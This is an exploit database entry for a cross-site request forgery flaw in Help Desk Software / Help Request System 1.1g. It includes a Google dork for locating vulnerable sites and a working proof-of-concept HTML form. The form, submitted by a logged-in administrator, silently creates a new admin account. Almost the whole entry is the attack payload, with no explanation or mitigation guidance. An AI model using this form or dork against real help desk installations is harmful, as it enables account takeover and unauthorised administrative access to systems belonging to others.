Help Desk Software 1.1g - CSRF (add admin) Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Help Desk Software 1.1g XSRF (Add Admin) Vulnerabilit


                                                # Exploit Title: Help Request System 1.1g XSRF (add admin)
# Date: 08-23-2011
# Google Dork: &#34;powered by freehelpdesk.org&#34;
# Author: G13
# Software link: http://freehelpdesk.org/
# Version: 1.1g

&#60;html&#62;
&#60;body&#62;
&#60;form id=&#34;edit&#34; method=&#34;post&#34; 
action=&#34;http://localhost/request/index.php?sub=users&action=store&type=add&#34; 
enctype=&#34;&#34;&#62;
Name: &#60;input class=&#34;FormItemTextbox&#34; type=&#34;text&#34; name=&#34;user_name&#34; 
size=&#34;35&#34; maxlength=&#34;&#34; value=&#34;&#34;&#62;&#60;br&#62;
Login name:&#60;input class=&#34;FormItemTextbox&#34; type=&#34;text&#34; name=&#34;user_login&#34; 
size=&#34;20&#34; maxlength=&#34;&#34; value=&#34;&#34;&#62;&#60;br&#62;
Pass:&#60;input class=&#34;FormItemTextbox&#34; type=&#34;password&#34; id=&#34;user_password&#34; 
name=&#34;user_password&#34; size=&#34;20&#34; value=&#34;&#34;&#62;&#60;br&#62;
Pass confirm:&#60;input class=&#34;FormItemTextbox&#34; type=&#34;password&#34; 
id=&#34;user_password_confirm&#34; name=&#34;user_password_confirm&#34; size=&#34;20&#34; 
value=&#34;&#34;&#62;&#60;br&#62;
&#60;input type=&#34;hidden&#34; name=&#34;user_level&#34; value=&#34;0&#34;&#62;
&#60;input class=&#34;btn&#34; type=&#34;submit&#34; value=&#34;Submit&#34; id=&#34;submit&#34; 
name=&#34;submit&#34;&#62;
&#60;/form&#62;
&#60;/body&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1